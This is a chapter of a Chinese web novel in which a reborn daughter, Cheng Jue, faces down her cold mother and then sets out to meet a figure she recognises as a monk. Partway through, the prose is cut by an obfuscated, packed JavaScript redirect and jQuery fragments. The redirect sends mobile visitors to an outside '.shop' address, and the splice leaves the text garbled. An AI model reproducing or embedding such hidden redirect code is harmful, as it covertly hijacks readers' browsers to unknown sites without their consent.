程芳居高临下,开口时腰杆挺得笔直。
其实程玦每每与这位雍容华贵的靖远侯夫人对上,都会感到头痛,于是,她便不由自由的猜测起来,难道是因为母亲的气度过分盛气凌人么?
不对……
女子静下心来思考,强压下心中酸涩,然后她想,她是寻到了答案的。
是因为她和程芳的关系。
她自认与这府上的任何一人皆无亲缘,既无羁绊,那么对方要如何相待,她自是不在意的。
可本该爱她护她的母亲却与旁人站到了一处,她甚至有过之而无不及,就那般冷眼看着她,一点点剔骨刮肉,不停剜着她的心……
程玦着实认真思忖了一阵子,好像只要绝了妄念,她就会活的畅快许多?
重新回过味来,程玦果真觉得周身轻快了些。
如今她又有点感谢老天,垂怜于她,她总算不负天恩有了长进,至少此刻,她就没像前生那般被程芳一点就炸,一看到这位母亲,就会心底发怵了。
但想通了是其一,面对程芳,她还是要打起精神努力应对。
旁人不晓程芳脾性,她却算得上是知己知彼,因为母亲的厉害之处,远不在于气势。
程玦将手收进氅内,摩挲着手炉带来的一丝暖意,而后她微抬起眼,眉角淡淡弯出弧度:“母亲何出此言?女儿不太明白。”
程芳似是并不信她,只大步进门,靠在了美人榻前。
“你也知晓,我是你的母亲?”
程芳坐定,随手端起桌上新添的茶:“既如此,有事怎的不去禀我,偏要劳动你祖母?”
妇人磕了几下杯盖,又顺手放下,杯壁碰撞响声清脆,在静谧的厅堂内越放越大。
但这显然没能震慑到程玦,女子英气的眉宇蹙了蹙,继而舒展:“女儿懂了,原是母亲在祖母那儿挨了训诫,郁气难舒,遂才来我这里……兴师问罪?”
程玦这话说的多有不敬,可那又如何?
她本就是胸无点墨的粗鄙之人。
然而,令她没想到的是,这一回合她泰然自若,程芳却被勾起了火气:“放肆!”
妇人厉眉拧的越发吊起,整张脸也浮上了红。
而程玦虽半垂着头,可余光始终停在程芳面上,不知怎么,乍一见到母亲被她点着了火,心底竟窜上些说不出的报复快意。
她还以为母亲永远高高在上。
她还以为,只有母亲的话能刺到她,她却怎么都伤不了母亲。
程玦心想,她总算、能够在程芳这里找回了一点骨气。
程玦不言不语,程芳自然不满她的敷衍,妇人静撇她半刻,突然又笑出声来:“你如此,倒叫我有些刮目相看了。”
“但你千不该,万不该,与我耍弄这等诡计。”
“诡计?”
程玦微扬起头,神情里有轻微裂痕。
程芳淡呼口气,似是再没了与她打哑谜的兴致,索性直言:“你不是没有对付那两个刁奴的手腕,而是先故意纵容他们,待到他们放松警惕便算准时机,借力打力。”
“你借的是你祖母的东风,算计的,是旁人对你的那点善念,我说的……对也不对?”
对,也不全对。
程玦在心中应。
首先,她并不认为老夫人对她有什么善念。
这深宅大院,所有想要得到的宠爱皆需代价换取,若非她先投其所好引得老夫人注意,只怕她被钱、孙二人磋磨致死,祖母也不会眨一下眼睛。
程玦恍惚一瞬,正待开口,榻上之人却缓缓摇了下头:“我只知袁清将你教的荒唐无状,却未曾想,你竟还懂钻营之道。”
而“袁清”二字一入女子的耳,程玦伪装的那点镇定顷刻就荡然无存。
“你我之间,不必提到父亲!”
程玦倏地高吼一声,连母亲也不肯叫了。
可她这般做派,还真把程芳震了一震,程芳不过随口感叹,哪知她对这个名字反应如此强烈。
程芳张张口,像是难得思绪空白了一瞬,继而,她下了美人榻,踱步来到程玦面前:“程玦,如今你的父亲是侯爷,侯爷为你花费重金医治腿疾,赐你锦衣玉食,将你记在名下。”
“你该知道感恩才对。”
程芳抬起手,绕在掌心里的珠串映射出无数张妇人的面孔,威严的表情不在,取而代之的是几许模糊的愁思。
她大概是想碰触一下程玦,可挨近的指头又缩回去,转瞬,就化为虚无。
程玦依旧坐着没动,母女间本就拥有天然的默契,她当然能感知到程芳的举动,可她虽没表现出排斥,却也再不会生出半分渴求。
直到程芳踏出厅堂,她沉闷的声音才追了过去:“父亲含辛茹苦养育我十七载,女儿自当牢记,且永不忘恩!”
程芳脚下骤顿,神情一凛,继而就挺起脊背,走的毫无留恋。
秋蝉备好饭食送进来时,便见程玦呆呆地坐在窗下。
朔风拂过,暗香飘零,那梅树生得并不高大,却仍有一枝傲骨伸出了墙外。
程玦眉眼结了霜,鼻尖也沁上微红,可她岿然不动,也不知到底怔了多久。
老夫人那儿拿回的经文整齐摞在桌旁,刁奴事过,程玦便再没翻动。
秋蝉将餐盘放下,快步走上前来,似是想说点什么逗她开心:“小姐,近日怎的不读经了?”
程玦茫然回神,仿若思绪也被冻得僵硬,简单的问话像是反应许久,才闷闷应道:“秋蝉,我看不懂……”
她不过装模作样讲一句“善哉善哉”,至于旁的,她一个字都不识得。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813612|210965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>而后知后觉,她还真生出了半分觉悟,程芳说的没错,她当真是利用了谁的。
但那个人不是老夫人,而是佛祖。
所以她还真是……好大的胆子。
……
秋蝉这一夜辗转难眠,自从院子清静下来后,程玦便不再叫她守夜,所以她最近都宿在离寝房最近的偏房里。
主子间的对话她是不敢听的,秋蝉并不知大夫人来此,都和小姐说了什么。
她只是看得出,看得出程玦的心情很不好。
一早,她变着花样做了可口的糕,程玦也只勉强咽下半块,想到等下要做的事,秋蝉犹豫着劝:“小姐,莫不如今日就不去了吧?”
程玦待她亲如家人,在秋蝉的心里,旁人是谁也比不得的。
她管不了外人的许多事,只私心的希望程玦活的痛快。
程玦抬眸冲她笑,笑是挤出来的,也是为安秋蝉的心:“今日要去的,必须要去。”
程芳明里暗里的敲打她怎会听不出,现下她吃侯爷的,住侯爷的,手中无人,荷包无银,所以上一世她才迫不及待嫁人,最后奔赴死路。
这生要是继续囫囵着过,她恐怕最对不起的就是自己。
所以她必须出门,必须去争抢,必须在这荆棘丛里踏出一条血路,方能给自己挣回底气。
可情绪这种东西,大抵就只有神仙能做到收放自如了。
秋蝉推着程玦出府,偷偷瞄了眼自家小姐,小丫鬟抿起唇,默默的想:眼下她家小姐满面戾气,杀意腾腾,也不知等会儿要见的是谁?
不过总归,是个倒霉鬼了。
二人自岔路拐进崇宁坊街心,林家父女果然守信的等在这里。
眼看要到约见时辰,林崇倒有些担心:“小姐,咱们这样……会不会不太好?”
林崇心善,来人本是送银钱给他们作为进玲珑楼的赞助,可他这般疑神疑鬼,恐要伤了贵人的心。
程玦则抬抬手,压低了声音:“防人之心不可无。”
林崇听罢,不得不说这话确实是有道理的,遂重重点了下头,再无异议。
其实按照她以往的秉性,大概会想也不想直接冲上前去,所以叮嘱林崇的话,更多的,不过是再警醒自己。
程玦静待角落,视线却一错不错钉在远处。
她是坐着的,视野本就低些,更别说还总习惯耷垂着眼。
然而巳时刚到,视线里就闯入一抹纤白。
那白清冽如雾,出尘脱俗,被捕捉到的一点袍角飘来荡去,而这画面,竟叫她有几分熟悉的错觉。
程玦怔然,随即猛坐直身,双手下意识转动轮椅,朝着那处快速奔去。
她记起来了。
她确实是见过这抹白的。
那是——和尚的僧袍。